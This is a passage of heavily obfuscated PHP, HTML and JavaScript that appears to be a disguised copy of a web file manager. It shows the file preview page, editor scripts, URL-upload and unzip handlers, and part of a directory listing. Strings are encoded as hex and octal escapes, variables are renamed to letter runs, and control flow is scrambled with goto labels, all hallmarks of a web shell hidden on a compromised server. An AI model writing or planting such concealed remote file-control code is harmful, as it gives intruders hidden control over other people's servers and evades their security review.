$kkkkkkk = true; $ooooooo = file_get_contents($kkk); } ?>
<div class="row"><div class="col-12"><p class="break-word"><b><?php  echo lng($mmmmmmm); ?>
"<?php  echo fm_enc(fm_convert_win($ww)); ?>
"</b></p><p class="break-word"><strong>Full path:</strong><?php  echo fm_enc(fm_convert_win($kkk)); ?>
<br><strong>File size:</strong><?php  echo $ddddddd <= 1000 ? "{$ddddddd}\x20\x62\171\x74\145\x73" : $eeeeeee; ?>
<br><strong>MIME-type:</strong><?php  echo $ccccccc; ?>
<br><?php  if (($fffffff || $ggggggg) && $nnnnnnn !== false) { $ppppppp = 0; $qqqqqqq = 0; $rrrrrrr = 0; foreach ($nnnnnnn as $sssssss) { if (!$sssssss["\146\157\154\144\145\162"]) { $ppppppp++; } $qqqqqqq += $sssssss["\x63\x6f\155\160\162\145\163\x73\x65\144\137\163\151\x7a\145"]; $rrrrrrr += $sssssss["\x66\x69\x6c\145\163\x69\172\145"]; } echo lng("\x46\151\154\x65\x73\40\x69\x6e\40\141\x72\x63\150\151\x76\x65"); ?>
:<?php  echo $ppppppp; ?>
<br><?php  echo lng("\124\157\x74\x61\x6c\40\x73\151\172\145"); ?>
:<?php  echo fm_get_filesize($rrrrrrr); ?>
<br><?php  echo lng("\123\151\172\x65\x20\x69\156\x20\x61\162\x63\x68\151\166\145"); ?>
:<?php  echo fm_get_filesize($qqqqqqq); ?>
<br><?php  echo lng("\103\x6f\x6d\x70\x72\145\x73\x73\x69\x6f\156"); ?>
:<?php  echo round($qqqqqqq / max($rrrrrrr, 1) * 100); ?>
%<br><?php  } if ($hhhhhhh) { $ttttttt = getimagesize($kkk); echo lng("\x49\155\141\147\x65\x20\x73\x69\172\x65\163") . "\x3a\x20" . (isset($ttttttt[0]) ? $ttttttt[0] : "\x30") . "\x20\x78\40" . (isset($ttttttt[1]) ? $ttttttt[1] : "\60") . "\74\x62\162\x3e"; } if ($kkkkkkk) { $uuuuuuu = fm_is_utf8($ooooooo); if (function_exists("\151\143\x6f\x6e\x76")) { if (!$uuuuuuu) { $ooooooo = iconv(FM_ICONV_INPUT_ENC, "\x55\124\x46\55\70\x2f\x2f\111\107\116\x4f\122\x45", $ooooooo); } } echo "\x3c\163\x74\x72\x6f\x6e\x67\x3e" . lng("\103\x68\141\162\x73\145\164") . "\x3a\x3c\x2f\163\164\x72\157\156\x67\x3e\x20" . ($uuuuuuu ? "\x75\164\x66\55\x38" : "\x38\x20\142\x69\164") . "\74\x62\x72\76"; } ?>
</p><div class="mb-3 align-items-center d-flex"><form method="post"action="?p=<?php  echo urlencode(FM_PATH); ?>
&dl=<?php  echo urlencode($ww); ?>
"class="ms-2 d-inline"><input name="token"type="hidden"value="<?php  echo $_SESSION["\x74\157\x6b\x65\156"]; ?>
"> <button class="btn btn-link text-decoration-none fw-bold p-0"type="submit"><i class="fa fa-cloud-download"></i><?php  echo lng("\x44\x6f\167\x6e\154\157\x61\144"); ?>
</button></form><b class="ms-2"><a href="<?php  echo fm_enc($bbbbbbb); ?>
"target="_blank"><i class="fa fa-external-link-square"></i><?php  echo lng("\117\x70\145\x6e"); ?>
</a></b><?php  if (!FM_READONLY && ($fffffff || $ggggggg) && $nnnnnnn !== false) { $vvvvvvv = pathinfo($kkk, PATHINFO_FILENAME); ?>
<form method="post"class="ms-2 d-inline"><input name="token"type="hidden"value="<?php  echo $_SESSION["\164\x6f\153\x65\x6e"]; ?>
"> <input name="unzip"type="hidden"value="<?php  echo urlencode($ww); ?>
"> <button class="btn btn-link text-decoration-none fw-bold p-0"type="submit"style="font-size:14px"><i class="fa fa-check-circle"></i><?php  echo lng("\125\x6e\x5a\151\x70"); ?>
</button></form><form method="post"class="ms-2 d-inline"><input name="token"type="hidden"value="<?php  echo $_SESSION["\x74\x6f\x6b\x65\156"]; ?>
"> <input name="unzip"type="hidden"value="<?php  echo urlencode($ww); ?>
"> <input name="tofolder"type="hidden"value="1"> <button class="btn btn-link text-decoration-none fw-bold p-0"type="submit"style="font-size:14px"title="UnZip to<?php  echo fm_enc($vvvvvvv); ?>
"><i class="fa fa-check-circle"></i><?php  echo lng("\125\x6e\x5a\x69\x70\124\x6f\106\x6f\x6c\144\145\x72"); ?>
</button></form><?php  } if ($kkkkkkk && !FM_READONLY) { ?>
<b class="ms-2"><a href="?p=<?php  echo urlencode(trim(FM_PATH)); ?>
&edit=<?php  echo urlencode($ww); ?>
"class="edit-file"><i class="fa fa-pencil-square"></i><?php  echo lng("\105\x64\x69\x74"); ?>
</a></b><b class="ms-2"><a href="?p=<?php  echo urlencode(trim(FM_PATH)); ?>
&edit=<?php  echo urlencode($ww); ?>
&env=ace"class="edit-file"><i class="fa fa-pencil-square-o"></i><?php  echo lng("\101\144\x76\141\156\x63\x65\x64\x45\x64\x69\164\157\162"); ?>
</a></b><?php  } ?>
<b class="ms-2"><a href="?p=<?php  echo urlencode(FM_PATH); ?>
"><i class="fa fa-chevron-circle-left go-back"></i><?php  echo lng("\x42\x61\143\x6b"); ?>
</a></b></div><?php  if ($lllllll) { if ($cc == "\x67\x6f\157\147\x6c\145") { echo "\x3c\x69\x66\162\141\155\x65\x20\x73\162\x63\x3d\42\150\x74\x74\x70\x73\72\57\x2f\x64\x6f\143\x73\56\x67\157\x6f\147\154\145\56\143\157\x6d\x2f\166\x69\145\167\x65\x72\x3f\145\155\142\145\144\144\x65\x64\x3d\x74\x72\x75\145\46\150\154\x3d\x65\156\x26\165\x72\154\75" . fm_enc($bbbbbbb) . "\x22\40\146\x72\x61\x6d\145\142\x6f\x72\x64\145\x72\x3d\42\x6e\157\x22\x20\x73\164\x79\154\x65\x3d\x22\x77\x69\x64\x74\150\72\61\x30\x30\45\x3b\155\151\156\x2d\x68\145\x69\147\x68\164\x3a\64\66\x30\160\170\x22\76\x3c\x2f\151\x66\x72\x61\x6d\x65\x3e"; } else { if ($cc == "\155\x69\143\162\x6f\163\x6f\x66\164") { echo "\74\x69\x66\x72\141\x6d\145\x20\x73\162\143\75\x22\x68\164\x74\160\163\x3a\57\57\x76\151\145\x77\56\x6f\x66\146\x69\x63\145\141\160\x70\x73\56\154\x69\166\145\x2e\x63\x6f\x6d\x2f\157\160\x2f\145\x6d\x62\x65\x64\56\141\163\160\x78\x3f\x73\162\x63\x3d" . fm_enc($bbbbbbb) . "\42\40\x66\162\x61\x6d\145\x62\x6f\x72\x64\x65\162\75\x22\x6e\x6f\x22\40\163\x74\x79\154\x65\75\x22\167\x69\x64\164\150\x3a\61\60\60\45\73\155\x69\156\x2d\x68\145\151\147\150\x74\x3a\64\66\x30\160\170\x22\76\x3c\57\x69\146\162\x61\155\145\x3e"; } } } elseif ($fffffff) { if ($nnnnnnn !== false) { echo "\74\x63\157\x64\x65\x20\143\x6c\x61\163\163\x3d\x22\155\141\x78\150\145\x69\147\x68\164\42\x3e"; foreach ($nnnnnnn as $sssssss) { if ($sssssss["\146\157\154\144\145\x72"]) { echo "\74\x62\76" . fm_enc($sssssss["\x6e\141\x6d\x65"]) . "\74\57\142\76\x3c\142\162\76"; } else { echo $sssssss["\x6e\141\x6d\x65"] . "\40\50" . fm_get_filesize($sssssss["\146\151\154\x65\163\151\172\x65"]) . "\51\74\142\x72\x3e"; } } echo "\74\x2f\143\157\x64\x65\x3e"; } else { echo "\x3c\160\x3e" . lng("\x45\162\x72\157\x72\x20\x77\150\x69\154\x65\x20\x66\x65\164\143\x68\151\x6e\147\x20\x61\162\143\150\151\x76\x65\40\x69\156\x66\157") . "\74\x2f\160\x3e"; } } elseif ($hhhhhhh) { if (in_array($mmmm, array("\147\151\146", "\x6a\160\x67", "\152\160\x65\147", "\x70\156\147", "\x62\155\160", "\151\143\x6f", "\163\166\147", "\167\145\x62\160", "\141\166\x69\146"))) { echo "\x3c\x70\76\74\151\x6d\147\x20\x73\x72\x63\75\x22" . fm_enc($bbbbbbb) . "\42\40\141\154\164\x3d\x22\151\155\x61\x67\145\x22\40\143\x6c\x61\163\x73\75\42\160\162\x65\166\x69\x65\167\x2d\x69\155\x67\x2d\x63\157\156\x74\141\151\x6e\145\x72\42\40\143\x6c\141\163\163\x3d\x22\160\162\x65\x76\151\x65\x77\55\151\x6d\x67\42\76\74\x2f\160\76"; } } elseif ($iiiiiii) { echo "\x3c\x70\x3e\x3c\141\x75\144\x69\x6f\x20\x73\162\143\75\42" . fm_enc($bbbbbbb) . "\x22\40\x63\157\156\164\162\157\x6c\x73\x20\160\162\x65\154\157\141\144\75\x22\155\145\x74\141\144\x61\164\x61\42\x3e\x3c\57\x61\x75\x64\151\x6f\76\x3c\x2f\x70\x3e"; } elseif ($jjjjjjj) { echo "\x3c\144\151\x76\40\x63\x6c\x61\x73\x73\75\x22\x70\x72\145\x76\151\145\167\x2d\x76\x69\x64\145\157\42\76\x3c\166\x69\x64\x65\157\x20\x73\162\x63\75\x22" . fm_enc($bbbbbbb) . "\42\40\167\x69\144\164\x68\x3d\x22\66\x34\x30\x22\40\x68\145\x69\x67\150\164\75\x22\x33\66\x30\x22\x20\x63\157\x6e\164\162\x6f\154\x73\40\x70\162\145\154\x6f\141\144\x3d\x22\155\145\x74\x61\x64\141\164\x61\42\x3e\x3c\57\166\x69\x64\145\157\x3e\74\x2f\x64\x69\x76\x3e"; } elseif ($kkkkkkk) { if (FM_USE_HIGHLIGHTJS) { $wwwwwww = array("\163\150\164\155\x6c" => "\x78\x6d\x6c", "\x68\x74\x61\143\x63\x65\x73\163" => "\141\x70\x61\x63\150\145", "\x70\150\164\x6d\154" => "\x70\150\x70", "\154\157\143\x6b" => "\x6a\163\x6f\x6e", "\x73\x76\147" => "\x78\x6d\154"); $xxxxxxx = isset($wwwwwww[$mmmm]) ? "\x6c\x61\156\147\x2d" . $wwwwwww[$mmmm] : "\154\141\156\x67\x2d" . $mmmm; if (empty($mmmm) || in_array(strtolower($ww), fm_get_text_names()) || preg_match("\43\x5c\56\x6d\151\x6e\x5c\56\50\143\x73\163\174\152\x73\x29\x24\x23\x69", $ww)) { $xxxxxxx = "\156\157\x68\x69\147\150\154\151\x67\150\164"; } $ooooooo = "\74\x70\x72\x65\40\143\154\x61\163\163\75\x22\167\x69\x74\x68\55\150\154\x6a\163\42\76\74\x63\157\144\145\40\x63\x6c\141\163\163\x3d\x22" . $xxxxxxx . "\42\76" . fm_enc($ooooooo) . "\x3c\x2f\143\x6f\x64\x65\x3e\x3c\x2f\x70\162\x65\x3e"; } elseif (in_array($mmmm, array("\160\x68\x70", "\x70\x68\160\64", "\160\x68\x70\65", "\160\x68\x74\x6d\x6c", "\160\150\160\163"))) { $ooooooo = highlight_string($ooooooo, true); } else { $ooooooo = "\74\160\162\145\76" . fm_enc($ooooooo) . "\74\x2f\x70\162\x65\76"; } echo $ooooooo; } ?>
</div></div><?php  fm_show_footer(); die; } goto z0mOd; advFQ: define("\125\x50\114\x4f\x41\x44\137\103\x48\x55\x4e\x4b\137\123\x49\132\105", $ff); goto KhWhP; JAR26: $hh = true; goto LuUh0; cNQxl: function fm_show_footer() { ?>
</div><?php  print_external("\x6a\x73\x2d\x6a\161\165\145\162\171"); print_external("\152\163\x2d\x62\x6f\x6f\164\x73\164\162\141\160"); print_external("\x6a\163\x2d\152\161\x75\145\162\x79\x2d\144\x61\164\141\x74\x61\x62\154\x65\163"); if (FM_USE_HIGHLIGHTJS && isset($_GET["\x76\x69\x65\x77"])) { print_external("\152\163\55\150\x69\147\150\x6c\151\147\150\164\x6a\163"); ?>
<script>hljs.highlightAll();var isHighlightingEnabled=!0</script><?php  } ?>
<script>function template(html,options){
        var re=/<\%([^\%>]+)?\%>/g,reExp=/(^( )?(if|for|else|switch|case|break|{|}))(.*)?/g,code='var r=[];\n',cursor=0,match;var add=function(line,js){js?(code+=line.match(reExp)?line+'\n':'r.push('+line+');\n'):(code+=line!=''?'r.push("'+line.replace(/"/g,'\\"')+'");\n':'');return add}
        while(match=re.exec(html)){add(html.slice(cursor,match.index))(match[1],!0);cursor=match.index+match[0].length}
        add(html.substr(cursor,html.length-cursor));code+='return r.join("");';return new Function(code.replace(/[\r\t\n]/g,'')).apply(options)
    }
    function rename(e, t) { if(t) { $("#js-rename-from").val(t);$("#js-rename-to").val(t); $("#renameDailog").modal('show'); } }
    function change_checkboxes(e, t) { for (var n = e.length - 1; n >= 0; n--) e[n].checked = "boolean" == typeof t ? t : !e[n].checked }
    function get_checkboxes() { for (var e = document.getElementsByName("file[]"), t = [], n = e.length - 1; n >= 0; n--) (e[n].type = "checkbox") && t.push(e[n]); return t }
    function select_all() { change_checkboxes(get_checkboxes(), !0) }
    function unselect_all() { change_checkboxes(get_checkboxes(), !1) }
    function invert_all() { change_checkboxes(get_checkboxes()) }
    function checkbox_toggle() { var e = get_checkboxes(); e.push(this), change_checkboxes(e) }
    function backup(e, t) { // Create file backup with .bck
        var n = new XMLHttpRequest,
            a = "path=" + e + "&file=" + t + "&token="+ window.csrf +"&type=backup&ajax=true";
        return n.open("POST", "", !0), n.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), n.onreadystatechange = function () {
            4 == n.readyState && 200 == n.status && toast(n.responseText)
        }, n.send(a), !1
    }
    // Toast message
    function toast(txt) { var x = document.getElementById("snackbar");x.innerHTML=txt;x.className = "show";setTimeout(function(){ x.className = x.className.replace("show", ""); }, 3000); }
    // Save file
    function edit_save(e, t) {
        var n = "ace" == t ? editor.getSession().getValue() : document.getElementById("normal-editor").value;
        if (typeof n !== 'undefined' && n !== null) {
            if (true) {
                var data = {ajax: true, content: n, type: 'save', token: window.csrf};

                $.ajax({
                    type: "POST",
                    url: window.location,
                    data: JSON.stringify(data),
                    contentType: "application/json; charset=utf-8",
                    success: function(mes){toast("Saved Successfully"); window.onbeforeunload = function() {return}},
                    failure: function(mes) {toast("Error: try again");},
                    error: function(mes) {toast(`<p style="background-color:red">${mes.responseText}</p>`);}
                });
            } else {
                var a = document.createElement("form");
                a.setAttribute("method", "POST"), a.setAttribute("action", "");
                var o = document.createElement("textarea");
                o.setAttribute("type", "textarea"), o.setAttribute("name", "savedata");
                let cx = document.createElement("input"); cx.setAttribute("type", "hidden");cx.setAttribute("name", "token");cx.setAttribute("value", window.csrf);
                var c = document.createTextNode(n);
                o.appendChild(c), a.appendChild(o), a.appendChild(cx), document.body.appendChild(a), a.submit()
            }
        }
    }
    function show_new_pwd() { $(".js-new-pwd").toggleClass('hidden'); }
    // Save Settings
    function save_settings($this) {
        let form = $($this);
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
            success: function (data) {if(data) { window.location.reload();}}
        }); return false;
    }
    //Create new password hash
    function new_password_hash($this) {
        let form = $($this), $pwd = $("#js-pwd-result"); $pwd.val('');
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
            success: function (data) { if(data) { $pwd.val(data); } }
        }); return false;
    }
    // Upload files using URL @param {Object}
    function upload_from_url($this) {
        let form = $($this), resultWrapper = $("div#js-url-upload__list");
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
            beforeSend: function() { form.find("input[name=uploadurl]").attr("disabled","disabled"); form.find("button").hide(); form.find(".lds-facebook").addClass('show-me'); },
            success: function (data) {
                if(data) {
                    data = JSON.parse(data);
                    if(data.done) {
                        resultWrapper.append('<div class="alert alert-success row">Uploaded Successful: '+data.done.name+'</div>'); form.find("input[name=uploadurl]").val('');
                    } else if(data['fail']) { resultWrapper.append('<div class="alert alert-danger row">Error: '+data.fail.message+'</div>'); }
                    form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');
                }
            },
            error: function(xhr) {
                form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');console.error(xhr);
            }
        }); return false;
    }
    // Search template
    function search_template(data) {
        var response = "";
        $.each(data, function (key, val) {
            response += `<li><a href="?p=${val.path}&view=${val.name}">${val.path}/${val.name}</a></li>`;
        });
        return response;
    }
    // Advance search
    function fm_search() {
        var searchTxt = $("input#advanced-search").val(), searchWrapper = $("ul#search-wrapper"), path = $("#js-search-modal").attr("href"), _html = "", $loader = $("div.lds-facebook");
        if(!!searchTxt && searchTxt.length > 2 && path) {
            var data = {ajax: true, content: searchTxt, path:path, type: 'search', token: window.csrf };
            $.ajax({
                type: "POST",
                url: window.location,
                data: data,
                beforeSend: function() {
                    searchWrapper.html('');
                    $loader.addClass('show-me');
                },
                success: function(data){
                    $loader.removeClass('show-me');
                    data = JSON.parse(data);
                    if(data && data.length) {
                        _html = search_template(data);
                        searchWrapper.html(_html);
                    } else { searchWrapper.html('<p class="m-2">No result found!<p>'); }
                },
                error: function(xhr) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>'); },
                failure: function(mes) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>');}
            });
        } else { searchWrapper.html("OOPS: minimum 3 characters required!"); }
    }

    // action confirm dailog modal
    function confirmDailog(e, id = 0, title = "Action", content = "", action = null) {
        e.preventDefault();
        const tplObj = {id, title, content: decodeURIComponent(content.replace(/\+/g, ' ')), action};
        let tpl = $("#js-tpl-confirm").html();
        $(".modal.confirmDailog").remove();
        $('#wrapper').append(template(tpl,tplObj));
        const $confirmDailog = $("#confirmDailog-"+tplObj.id);
        $confirmDailog.modal('show');
        return false;
    }
    

    // on mouse hover image preview
    !function(s){s.previewImage=function(e){var o=s(document),t=".previewImage",a=s.extend({xOffset:20,yOffset:-20,fadeIn:"fast",css:{padding:"5px",border:"1px solid #cccccc","background-color":"#fff"},eventSelector:"[data-preview-image]",dataKey:"previewImage",overlayId:"preview-image-plugin-overlay"},e);return o.off(t),o.on("mouseover"+t,a.eventSelector,function(e){s("p#"+a.overlayId).remove();var o=s("<p>").attr("id",a.overlayId).css("position","absolute").css("display","none").append(s('<img class="c-preview-img">').attr("src",s(this).data(a.dataKey)));a.css&&o.css(a.css),s("body").append(o),o.css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px").fadeIn(a.fadeIn)}),o.on("mouseout"+t,a.eventSelector,function(){s("#"+a.overlayId).remove()}),o.on("mousemove"+t,a.eventSelector,function(e){s("#"+a.overlayId).css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px")}),this},s.previewImage()}(jQuery);

    // Dom Ready Events
    $(document).ready( function () {
        // dataTable init
        var $table = $('#main-table'),
            tableLng = $table.find('th').length,
            _targets = (tableLng && tableLng == 7 ) ? [0, 4,5,6] : tableLng == 5 ? [0,4] : [3];
            mainTable = $('#main-table').DataTable({paging: false, info: false, order: [], columnDefs: [{targets: _targets, orderable: false}]
        });
        // filter table
        $('#search-addon').on( 'keyup', function () {
            mainTable.search( this.value ).draw();
        });
        $("input#advanced-search").on('keyup', function (e) {
            if (e.keyCode === 13) { fm_search(); }
        });
        $('#search-addon3').on( 'click', function () { fm_search(); });
        //upload nav tabs
        $(".fm-upload-wrapper .card-header-tabs").on("click", 'a', function(e){
            e.preventDefault();let target=$(this).data('target');
            $(".fm-upload-wrapper .card-header-tabs a").removeClass('active');$(this).addClass('active');
            $(".fm-upload-wrapper .card-tabs-container").addClass('hidden');$(target).removeClass('hidden');
        });
    });</script><?php  if (isset($_GET["\145\144\x69\164"]) && isset($_GET["\145\156\x76"]) && FM_EDIT_FILE && !FM_READONLY) { $mmmm = pathinfo($_GET["\x65\x64\x69\164"], PATHINFO_EXTENSION); $mmmm = $mmmm == "\152\x73" ? "\152\x61\x76\x61\x73\x63\x72\151\160\164" : $mmmm; print_external("\x6a\x73\x2d\141\x63\145"); ?>
<script>var editor = ace.edit("editor");
        editor.getSession().setMode( {path:"ace/mode/<?php  echo $mmmm; ?>
", inline:true} );
        //editor.setTheme("ace/theme/twilight"); //Dark Theme
        editor.setShowPrintMargin(false); // Hide the vertical ruler
        function ace_commend (cmd) { editor.commands.exec(cmd, editor); }
        editor.commands.addCommands([{
            name: 'save', bindKey: {win: 'Ctrl-S',  mac: 'Command-S'},
            exec: function(editor) { edit_save(this, 'ace'); }
        }]);
        function renderThemeMode() {
            var $modeEl = $("select#js-ace-mode"), $themeEl = $("select#js-ace-theme"), $fontSizeEl = $("select#js-ace-fontSize"), optionNode = function(type, arr){ var $Option = ""; $.each(arr, function(i, val) { $Option += "<option value='"+type+i+"'>" + val + "</option>"; }); return $Option; },
                _data = {"aceTheme":{"bright":{"chrome":"Chrome","clouds":"Clouds","crimson_editor":"Crimson Editor","dawn":"Dawn","dreamweaver":"Dreamweaver","eclipse":"Eclipse","github":"GitHub","iplastic":"IPlastic","solarized_light":"Solarized Light","textmate":"TextMate","tomorrow":"Tomorrow","xcode":"XCode","kuroir":"Kuroir","katzenmilch":"KatzenMilch","sqlserver":"SQL Server"},"dark":{"ambiance":"Ambiance","chaos":"Chaos","clouds_midnight":"Clouds Midnight","dracula":"Dracula","cobalt":"Cobalt","gruvbox":"Gruvbox","gob":"Green on Black","idle_fingers":"idle Fingers","kr_theme":"krTheme","merbivore":"Merbivore","merbivore_soft":"Merbivore Soft","mono_industrial":"Mono Industrial","monokai":"Monokai","pastel_on_dark":"Pastel on dark","solarized_dark":"Solarized Dark","terminal":"Terminal","tomorrow_night":"Tomorrow Night","tomorrow_night_blue":"Tomorrow Night Blue","tomorrow_night_bright":"Tomorrow Night Bright","tomorrow_night_eighties":"Tomorrow Night 80s","twilight":"Twilight","vibrant_ink":"Vibrant Ink"}},"aceMode":{"javascript":"JavaScript","abap":"ABAP","abc":"ABC","actionscript":"ActionScript","ada":"ADA","apache_conf":"Apache Conf","asciidoc":"AsciiDoc","asl":"ASL","assembly_x86":"Assembly x86","autohotkey":"AutoHotKey","apex":"Apex","batchfile":"BatchFile","bro":"Bro","c_cpp":"C and C++","c9search":"C9Search","cirru":"Cirru","clojure":"Clojure","cobol":"Cobol","coffee":"CoffeeScript","coldfusion":"ColdFusion","csharp":"C#","csound_document":"Csound Document","csound_orchestra":"Csound","csound_score":"Csound Score","css":"CSS","curly":"Curly","d":"D","dart":"Dart","diff":"Diff","dockerfile":"Dockerfile","dot":"Dot","drools":"Drools","edifact":"Edifact","eiffel":"Eiffel","ejs":"EJS","elixir":"Elixir","elm":"Elm","erlang":"Erlang","forth":"Forth","fortran":"Fortran","fsharp":"FSharp","fsl":"FSL","ftl":"FreeMarker","gcode":"Gcode","gherkin":"Gherkin","gitignore":"Gitignore","glsl":"Glsl","gobstones":"Gobstones","golang":"Go","graphqlschema":"GraphQLSchema","groovy":"Groovy","haml":"HAML","handlebars":"Handlebars","haskell":"Haskell","haskell_cabal":"Haskell Cabal","haxe":"haXe","hjson":"Hjson","html":"HTML","html_elixir":"HTML (Elixir)","html_ruby":"HTML (Ruby)","ini":"INI","io":"Io","jack":"Jack","jade":"Jade","java":"Java","json":"JSON","jsoniq":"JSONiq","jsp":"JSP","jssm":"JSSM","jsx":"JSX","julia":"Julia","kotlin":"Kotlin","latex":"LaTeX","less":"LESS","liquid":"Liquid","lisp":"Lisp","livescript":"LiveScript","logiql":"LogiQL","lsl":"LSL","lua":"Lua","luapage":"LuaPage","lucene":"Lucene","makefile":"Makefile","markdown":"Markdown","mask":"Mask","matlab":"MATLAB","maze":"Maze","mel":"MEL","mixal":"MIXAL","mushcode":"MUSHCode","mysql":"MySQL","nix":"Nix","nsis":"NSIS","objectivec":"Objective-C","ocaml":"OCaml","pascal":"Pascal","perl":"Perl","perl6":"Perl 6","pgsql":"pgSQL","php_laravel_blade":"PHP (Blade Template)","php":"PHP","puppet":"Puppet","pig":"Pig","powershell":"Powershell","praat":"Praat","prolog":"Prolog","properties":"Properties","protobuf":"Protobuf","python":"Python","r":"R","razor":"Razor","rdoc":"RDoc","red":"Red","rhtml":"RHTML","rst":"RST","ruby":"Ruby","rust":"Rust","sass":"SASS","scad":"SCAD","scala":"Scala","scheme":"Scheme","scss":"SCSS","sh":"SH","sjs":"SJS","slim":"Slim","smarty":"Smarty","snippets":"snippets","soy_template":"Soy Template","space":"Space","sql":"SQL","sqlserver":"SQLServer","stylus":"Stylus","svg":"SVG","swift":"Swift","tcl":"Tcl","terraform":"Terraform","tex":"Tex","text":"Text","textile":"Textile","toml":"Toml","tsx":"TSX","twig":"Twig","typescript":"Typescript","vala":"Vala","vbscript":"VBScript","velocity":"Velocity","verilog":"Verilog","vhdl":"VHDL","visualforce":"Visualforce","wollok":"Wollok","xml":"XML","xquery":"XQuery","yaml":"YAML","django":"Django"},"fontSize":{8:8,10:10,11:11,12:12,13:13,14:14,15:15,16:16,17:17,18:18,20:20,22:22,24:24,26:26,30:30}};
            if(_data && _data.aceMode) { $modeEl.html(optionNode("ace/mode/", _data.aceMode)); }
            if(_data && _data.aceTheme) { var lightTheme = optionNode("ace/theme/", _data.aceTheme.bright), darkTheme = optionNode("ace/theme/", _data.aceTheme.dark); $themeEl.html("<optgroup label=\"Bright\">"+lightTheme+"</optgroup><optgroup label=\"Dark\">"+darkTheme+"</optgroup>");}
            if(_data && _data.fontSize) { $fontSizeEl.html(optionNode("", _data.fontSize)); }
            $modeEl.val( editor.getSession().$modeId );
            $themeEl.val( editor.getTheme() );
            $fontSizeEl.val(12).change(); //set default font size in drop down
        }

        $(function(){
            renderThemeMode();
            $(".js-ace-toolbar").on("click", 'button', function(e){
                e.preventDefault();
                let cmdValue = $(this).attr("data-cmd"), editorOption = $(this).attr("data-option");
                if(cmdValue && cmdValue != "none") {
                    ace_commend(cmdValue);
                } else if(editorOption) {
                    if(editorOption == "fullscreen") {
                        (void 0!==document.fullScreenElement&&null===document.fullScreenElement||void 0!==document.msFullscreenElement&&null===document.msFullscreenElement||void 0!==document.mozFullScreen&&!document.mozFullScreen||void 0!==document.webkitIsFullScreen&&!document.webkitIsFullScreen)
                        &&(editor.container.requestFullScreen?editor.container.requestFullScreen():editor.container.mozRequestFullScreen?editor.container.mozRequestFullScreen():editor.container.webkitRequestFullScreen?editor.container.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT):editor.container.msRequestFullscreen&&editor.container.msRequestFullscreen());
                    } else if(editorOption == "wrap") {
                        let wrapStatus = (editor.getSession().getUseWrapMode()) ? false : true;
                        editor.getSession().setUseWrapMode(wrapStatus);
                    }
                }
            });
            $("select#js-ace-mode, select#js-ace-theme, select#js-ace-fontSize").on("change", function(e){
                e.preventDefault();
                let selectedValue = $(this).val(), selectionType = $(this).attr("data-type");
                if(selectedValue && selectionType == "mode") {
                    editor.getSession().setMode(selectedValue);
                } else if(selectedValue && selectionType == "theme") {
                    editor.setTheme(selectedValue);
                }else if(selectedValue && selectionType == "fontSize") {
                    editor.setFontSize(parseInt(selectedValue));
                }
            });
        });</script><?php  } ?>
<div id="snackbar"></div></body></html><?php  } goto Ypcdy; yniu3: defined("\x46\115\x5f\x55\x50\114\117\x41\x44\x5f\105\130\x54\x45\116\123\x49\117\x4e") || define("\106\115\x5f\x55\120\114\117\101\x44\137\x45\130\x54\x45\116\123\111\x4f\116", $z); goto B3ds2; lxCu6: $ee = 5000000000; goto UKnPa; jzZpf: function fm_object_to_array($hhhhhhhhhh) { if (!is_object($hhhhhhhhhh) && !is_array($hhhhhhhhhh)) { return $hhhhhhhhhh; } if (is_object($hhhhhhhhhh)) { $hhhhhhhhhh = get_object_vars($hhhhhhhhhh); } return array_map("\146\x6d\x5f\x6f\142\152\145\143\x74\137\164\x6f\x5f\141\162\162\x61\171", $hhhhhhhhhh); } goto AoWtK; I2sq3: $h = false; goto VWMrW; b6P5a: ?>
</th></tr></thead><?php  goto T_rNm; tidrV: define("\106\115\x5f\105\x44\111\124\x5f\106\x49\114\105", $o); goto G3txp; SWRGf: $iii = FM_ROOT_PATH; goto f_7RI; bkHlr: function fm_copy($xxxxxxxx, $yyyyyyyy, $vvvvvvvv) { $zzzzzzzz = filemtime($xxxxxxxx); if (file_exists($yyyyyyyy)) { $aaaaaaaaa = filemtime($yyyyyyyy); if ($aaaaaaaaa >= $zzzzzzzz && $vvvvvvvv) { return false; } } $ssssssss = copy($xxxxxxxx, $yyyyyyyy); if ($ssssssss) { touch($yyyyyyyy, $zzzzzzzz); } return $ssssssss; } goto VUt9r; OJC1q: foreach ($lllll as $mmmmm) { $ffffffff = is_link($iii . "\57" . $mmmmm); $gggggggg = $ffffffff ? "\x66\141\40\x66\x61\x2d\x66\151\x6c\145\x2d\x74\x65\170\x74\x2d\157" : fm_get_file_icon_class($iii . "\57" . $mmmmm); $hhhhhhhh = filemtime($iii . "\x2f" . $mmmmm); $iiiiiiii = date(FM_DATETIME_FORMAT, $hhhhhhhh); $jjjjjjjj = strtotime(date("\106\40\x64\40\131\40\110\x3a\151\x3a\x73\56", $hhhhhhhh)); $ddddddd = fm_get_size($iii . "\57" . $mmmmm); $eeeeeee = fm_get_filesize($ddddddd); $oooooooo = "\77\160\x3d" . urlencode(FM_PATH) . "\x26\141\155\x70\73\166\151\145\167\x3d" . urlencode($mmmmm); $cccccccc += $ddddddd; $kkkkkkkk = substr(decoct(fileperms($iii . "\57" . $mmmmm)), -4); if (function_exists("\x70\157\x73\151\x78\137\x67\x65\x74\160\167\165\151\x64") && function_exists("\160\x6f\x73\151\x78\x5f\x67\x65\164\x67\162\147\151\x64")) { $llllllll = posix_getpwuid(fileowner($iii . "\57" . $mmmmm)); $mmmmmmmm = posix_getgrgid(filegroup($iii . "\57" . $mmmmm)); } else { $llllllll = array("\156\141\x6d\x65" => "\77"); $mmmmmmmm = array("\156\141\155\145" => "\x3f"); } ?>
<tr><?php  if (!FM_READONLY) { ?>
